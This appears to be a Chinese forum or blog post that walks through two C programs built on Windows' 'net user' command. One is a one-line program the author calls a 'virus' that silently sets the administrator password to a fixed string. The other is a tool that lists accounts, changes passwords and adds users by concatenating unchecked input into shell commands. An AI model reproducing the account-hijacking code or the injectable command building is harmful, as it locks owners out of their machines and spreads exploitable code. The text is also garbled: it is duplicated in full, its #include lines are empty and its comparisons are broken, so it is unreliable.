其實這兩個東西很簡單,就是運用了"system"函數(shù)調(diào)用DOS中的"net user"命令
簡介"net user": 查看一個用戶的詳細信息:net user *** /*以下的"***"代表用戶名,"###"代表密碼*/
添加一個用戶 :net user *** /add
刪除一個用戶 :net user *** /del
更改一個用戶的密碼 :net user *** ###
這樣一來,整個東西就清晰多了.
所以:"不是病毒的病毒"的源代碼就相當簡單(一句話)
main()
{
system("net user administrator woshihaichong");
}
這是"不是病毒的病毒"的相關(guān)文件(包括:源代碼,執(zhí)行文件,簡介)
那好,設(shè)計"2000/XP 用戶名/密碼 終結(jié)者"的大概結(jié)構(gòu)與思路相信大家都有點頭緒了.
剛開是設(shè)計的時候,我就把它定為 2 個部分:功能部分與引導(dǎo)部分.
功能部分就是那七個功能的模塊,每個功能都是一個 void 函數(shù),然后在引導(dǎo)體(主函數(shù))中用"switch"調(diào)用.
2000/XP 用戶名/密碼 終結(jié)者"的主要函數(shù)與思路:
它用了"switch"(界面的選擇),"system"(DOS命令的調(diào)用),"while(getch()=="")"(按任意鍵繼續(xù)),"strcat"(DOS命令的合成).
運用"strcat"來合成命令:(比如添加一個用戶的模塊)
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" "; /*"fj"是"附加","kg"是"空格","syscmd"是需執(zhí)行的命令體*/
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj); /*用"strcat"把不同的部分合起來,構(gòu)成最終的"syscmd"*/
system(syscmd);printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
運用"switch"就不用多說了,另外的函數(shù)上面包括了.
"2000/XP 用戶名/密碼 終結(jié)者"源代碼:
#include
#include
void lau() /*查看所有用戶的函數(shù)*/
{
system("net user");printf("\n");
printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void caup() /*改變一個用戶密碼的函數(shù)*/
{
char syscmd[80]="net user ",name[35],passwork[25],kg[]=" ";
printf("Name=");
scanf("%s",&name);printf("\n");
printf("Passwork=");
scanf("%s",&passwork);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,passwork);
system(syscmd);
printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void aau() /*添加一個用戶的函數(shù)*/
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
system(syscmd);printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
簡介"net user": 查看一個用戶的詳細信息:net user *** /*以下的"***"代表用戶名,"###"代表密碼*/
添加一個用戶 :net user *** /add
刪除一個用戶 :net user *** /del
更改一個用戶的密碼 :net user *** ###
這樣一來,整個東西就清晰多了.
所以:"不是病毒的病毒"的源代碼就相當簡單(一句話)
main()
{
system("net user administrator woshihaichong");
}
這是"不是病毒的病毒"的相關(guān)文件(包括:源代碼,執(zhí)行文件,簡介)
那好,設(shè)計"2000/XP 用戶名/密碼 終結(jié)者"的大概結(jié)構(gòu)與思路相信大家都有點頭緒了.
剛開是設(shè)計的時候,我就把它定為 2 個部分:功能部分與引導(dǎo)部分.
功能部分就是那七個功能的模塊,每個功能都是一個 void 函數(shù),然后在引導(dǎo)體(主函數(shù))中用"switch"調(diào)用.
2000/XP 用戶名/密碼 終結(jié)者"的主要函數(shù)與思路:
它用了"switch"(界面的選擇),"system"(DOS命令的調(diào)用),"while(getch()=="")"(按任意鍵繼續(xù)),"strcat"(DOS命令的合成).
運用"strcat"來合成命令:(比如添加一個用戶的模塊)
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" "; /*"fj"是"附加","kg"是"空格","syscmd"是需執(zhí)行的命令體*/
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj); /*用"strcat"把不同的部分合起來,構(gòu)成最終的"syscmd"*/
system(syscmd);printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
運用"switch"就不用多說了,另外的函數(shù)上面包括了.
"2000/XP 用戶名/密碼 終結(jié)者"源代碼:
#include
#include
void lau() /*查看所有用戶的函數(shù)*/
{
system("net user");printf("\n");
printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void caup() /*改變一個用戶密碼的函數(shù)*/
{
char syscmd[80]="net user ",name[35],passwork[25],kg[]=" ";
printf("Name=");
scanf("%s",&name);printf("\n");
printf("Passwork=");
scanf("%s",&passwork);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,passwork);
system(syscmd);
printf("Press Any Key To Continue . . . ");
while(getch()=="");
}
void aau() /*添加一個用戶的函數(shù)*/
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";
printf("Name=");scanf("%s",&name);printf("\n");
strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
system(syscmd);printf("Press Any Key To Continue . . . ");
while(getch()=="");
}